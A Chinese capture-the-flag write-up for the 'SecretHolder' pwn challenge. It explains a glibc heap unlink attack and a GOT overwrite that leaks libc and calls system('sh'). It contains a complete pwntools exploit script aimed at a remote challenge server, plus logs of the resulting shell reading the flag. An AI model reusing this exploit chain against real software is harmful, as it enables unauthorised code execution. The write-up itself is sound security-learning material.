解题思路
保护机制
题目文件见文末连接,攻防世界平台上下载下来的不知道是啥东西
healer@healer-virtual-machine:~/Desktop/secret_holder$ checksec SecretHolder
[*] '/home/healer/Desktop/secret_holder/SecretHolder'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
healer@healer-virtual-machine:~/Desktop/secret_holder$ readelf -h SecretHolder
ELF Header:
Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
Class: ELF64
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: EXEC (Executable file)
Machine: Advanced Micro Devices X86-64
Version: 0x1
Entry point address: 0x400780
Start of program headers: 64 (bytes into file)
Start of section headers: 8632 (bytes into file)
Flags: 0x0
Size of this header: 64 (bytes)
Size of program headers: 56 (bytes)
Number of program headers: 9
Size of section headers: 64 (bytes)
Number of section headers: 28
Section header string table index: 27
漏洞利用分析
简单分析之后程序操作的是这样一个内存结构
unsigned __int64 sub_400A27()
{
int v0;
char s;
unsigned __int64 v3;
v3 = __readfsqword(0x28u);
puts("Which Secret do you want to wipe?");
puts("1. Small secret");
puts("2. Big secret");
puts("3. Huge secret");
memset(&s, 0, 4uLL);
read(0, &s, 4uLL);
v0 = atoi(&s);
switch ( v0 )
{
case 2:
free(qword_6020A0);
dword_6020B8 = 0;
break;
case 3:
free(qword_6020A8);
dword_6020BC = 0;
break;
case 1:
free(buf);
dword_6020C0 = 0;
break;
}
return __readfsqword(0x28u) ^ v3;
}
看完这部分第一反应是double free 方法,但是尝试之后发现会触发报错
此题最难的地方就是huge chunk 不在top chunk 中,想要借助它配合前两个大小的堆块构造Unlink 实现不了。
参考国外大佬的思路,通过申请huge chunk 和small chunk ,再free 掉,然后再申请huge chunk ,这样便可以另huge chunk 落入top chunk 中,然后free 已经被free 掉的small chunk ,然后再申请,便可以令small chunk 落入huge chunk 中
代码如下:
keep_secret(3,b"a"*0x10)
wipe_secret(3)
keep_secret(1,b"b"*0x10)
wipe_secret(1)
keep_secret(3,b"a"*0x10)
完成后实现预期,且看内存情况:
wndbg> x/30xg 0x6020a0
0x6020a0: 0x0000000000000000 0x0000000000603010
0x6020b0: 0x0000000000603010 0x0000000100000000
0x6020c0: 0x0000000000000000 0x0000000000000000
0x6020d0: 0x0000000000000000 0x0000000000000000
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x603000
Size: 0x61a91
Top chunk | PREV_INUSE
Addr: 0x664a90
Size: 0x20571
参见上文的表格,0x6020a8 处为Huge Chunk 的指针,此时所在位置为堆空间开始的位置,
紧接着通过如下代码实现将三个chunk 堆在一起即small chunk 与big chunk 在huge chunk 内部
wipe_secret(1)
keep_secret(1,b"d"*0x10)
keep_secret(2,b"e"*0x10)
将堆空间布置为如下状态:
pwndbg> vis
0x603000 0x0000000000000000 0x0000000000000031 ........1.......
0x603010 0x6464646464646464 0x6464646464646464 dddddddddddddddd
0x603020 0x000000000000000a 0x0000000000000000 ................
0x603030 0x0000000000000000 0x0000000000000fb1 ................
0x603040 0x6565656565656565 0x6565656565656565 eeeeeeeeeeeeeeee
0x603050 0x000000000000000a 0x0000000000000000 ................
···
0x603fe0 0x0000000000000000 0x0000000000081021 ........!....... <-- Top chunk
此时上面的三个结构体布局如下所示
pwndbg> x/30xg 0x6020a0
0x6020a0: 0x0000000000603040 0x0000000000603010
big chunk hugu chunk
0x6020b0: 0x0000000000603010 0x0000000100000001
small chunk
0x6020c0: 0x0000000000000001 0x0000000000000000
相当于是huge chunk 包裹着small chunk 与big chunk ,此时便可以利用程序的renew 功能,修改两个chunk 空间的内容,布局触发Unlink ,进而控制结构体区域
huge_chunk_ptr = 0x6020b0
payload = p64(0) + p64(0x21)
payload += p64(huge_chunk_ptr-0x18) + p64(huge_chunk_ptr-0x10)
payload += p64(0x20) + p64(0x90)
payload += b"1"* 0x88
payload += p64(0x91)
payload += b"1"* 0x88
payload += p64(0x81221)
renew_secret(3,payload)
wipe_secret(2)
触发Unlink 之后,结构体空间内,对应的Huge chunk 指针被修改,指向结构体前面一点的位置
pwndbg> x/30xg 0x6020a0
0x6020a0: 0x0000000000603040 0x0000000000603010
0x6020b0: 0x0000000000602098 0x0000000100000000
0x6020c0: 0x0000000000000001 0x0000000000000000
0x6020d0: 0x0000000000000000 0x0000000000000000
此时便可通过程序的修改功能控制三个指针,指向特定内存,控制修改我们想要修改的内容
劫持3个指针,将free 函数的got 表地址修改很成为puts 函数的plt ,泄漏出atoi 函数的地址,然后求得system 函数的地址,再修改atoi 函数的got 地址表为system 函数地址,当再次要求选择功能时,直接输入sh 即可执行system("sh") ,获取shell
payload = p64(0) + p64(atoi_got) + p64(free_got) + p64(atoi_got) + p32(1)*3
renew_secret(1,payload)
payload = p64(elf.plt["puts"])
renew_secret(3,payload)
wipe_secret(2)
io.recv(1)
atoi_byte = io.recv(6).ljust(8,b"\x00")
atoi_addr = u64(atoi_byte)
log.success("atoi address -> "+hex(atoi_addr))
obj = LibcSearcher("atoi",atoi_addr)
libcbase = atoi_addr - obj.dump("atoi")
system_addr = libcbase + obj.dump("system")
log.success("system address -> "+hex(system_addr))
renew_secret(1,p64(system_addr))
io.sendline("sh")
解题脚本
from pwn import *
from LibcSearcher import *
context.log_level='debug'
context.terminal = ['terminator', '-x', 'sh', '-c']
io = remote("111.200.241.244",58629)
elf = ELF("./SecretHolder")
def keep_secret(secret_index,sercet):
io.recvuntil("3. Renew secret")
io.sendline("1")
io.recvuntil("3. Huge secret")
io.sendline(str(secret_index))
io.recvuntil("Tell me your secret: ")
io.send(sercet)
def wipe_secret(secret_index):
io.recvuntil("3. Renew secret")
io.sendline("2")
io.recvuntil("3. Huge secret")
io.sendline(str(secret_index))
def renew_secret(secret_index,sercet):
io.recvuntil("3. Renew secret")
io.sendline("3")
io.recvuntil("3. Huge secret")
io.sendline(str(secret_index))
io.recvuntil("Tell me your secret: ")
io.send(sercet)
def main():
keep_secret(3,b"a"*0x10)
wipe_secret(3)
keep_secret(1,b"b"*0x10)
wipe_secret(1)
keep_secret(3,b"c"*0x10)
wipe_secret(1)
keep_secret(1,b"d"*0x10)
keep_secret(2,b"e"*0x10)
huge_chunk_ptr = 0x6020b0
payload = p64(0) + p64(0x21)
payload += p64(huge_chunk_ptr-0x18) + p64(huge_chunk_ptr-0x10)
payload += p64(0x20) + p64(0x90)
payload += b"1"* 0x88
payload += p64(0x91)
payload += b"1"* 0x88
payload += p64(0x81221)
renew_secret(3,payload)
wipe_secret(2)
log.success("Unlink Successfully")
atoi_got = elf.got["atoi"]
free_got = elf.got["free"]
bss_addr = 0x6020c8
payload = p64(0) + p64(atoi_got) + p64(free_got) + p64(atoi_got) + p32(1)*3
renew_secret(1,payload)
payload = p64(elf.plt["puts"])
renew_secret(3,payload)
wipe_secret(2)
io.recv(1)
atoi_byte = io.recv(6).ljust(8,b"\x00")
atoi_addr = u64(atoi_byte)
log.success("atoi address -> "+hex(atoi_addr))
obj = LibcSearcher("atoi",atoi_addr)
libcbase = atoi_addr - obj.dump("atoi")
system_addr = libcbase + obj.dump("system")
log.success("system address -> "+hex(system_addr))
renew_secret(1,p64(system_addr))
io.sendline("sh")
io.interactive()
if __name__ == '__main__':
main()
执行情况
本地shell
[+] system address -> 0x7ffff7a523a0
[DEBUG] Sent 0x2 bytes:
b'3\n'
[DEBUG] Received 0x50 bytes:
b'Which Secret do you want to renew?\n'
b'1. Small secret\n'
b'2. Big secret\n'
b'3. Huge secret\n'
[DEBUG] Sent 0x2 bytes:
b'1\n'
[DEBUG] Received 0x16 bytes:
b'Tell me your secret: \n'
[DEBUG] Sent 0x8 bytes:
00000000 a0 23 a5 f7 ff 7f 00 00 │·
00000008
[DEBUG] Sent 0x3 bytes:
b'sh\n'
[*] Switching to interactive mode
[DEBUG] Received 0x2e bytes:
b'1. Keep secret\n'
b'2. Wipe secret\n'
b'3. Renew secret\n'
1. Keep secret
2. Wipe secret
3. Renew secret
$ ls
[DEBUG] Sent 0x3 bytes:
b'ls\n'
[DEBUG] Received 0x23 bytes:
b'core\t\t\t\t exp.py secret_holder\n'
core exp.py secret_holder
[DEBUG] Received 0x3a bytes:
b'dc98e2b2bd214d259dc699923214e8fc.gz flag SecretHolder\n'
dc98e2b2bd214d259dc699923214e8fc.gz flag SecretHolder
$ cat flag
[DEBUG] Sent 0x9 bytes:
b'cat flag\n'
[DEBUG] Received 0x19 bytes:
b'flag{Cragratulations!!!}\n'
flag{Cragratulations!!!}
远程shell
[*] Switching to interactive mode
[DEBUG] Received 0x1 bytes:
b'\n'
[DEBUG] Received 0x2e bytes:
b'1. Keep secret\n'
b'2. Wipe secret\n'
b'3. Renew secret\n'
1. Keep secret
2. Wipe secret
3. Renew secret
$ ls
[DEBUG] Sent 0x3 bytes:
b'ls\n'
[DEBUG] Received 0x2b bytes:
b'bin\n'
b'dev\n'
b'flag\n'
b'lib\n'
b'lib32\n'
b'lib64\n'
b'secret_holder\n'
bin
dev
flag
lib
lib32
lib64
secret_holder
$ cat flag
[DEBUG] Sent 0x9 bytes:
b'cat flag\n'
[DEBUG] Received 0x2d bytes:
b'cyberpeace{e506b8*************d83b5f186fb}\n'
cyberpeace{e506b8*************d83b5f186fb}
详细内容参见我的Gitee项目,包含题目文件
|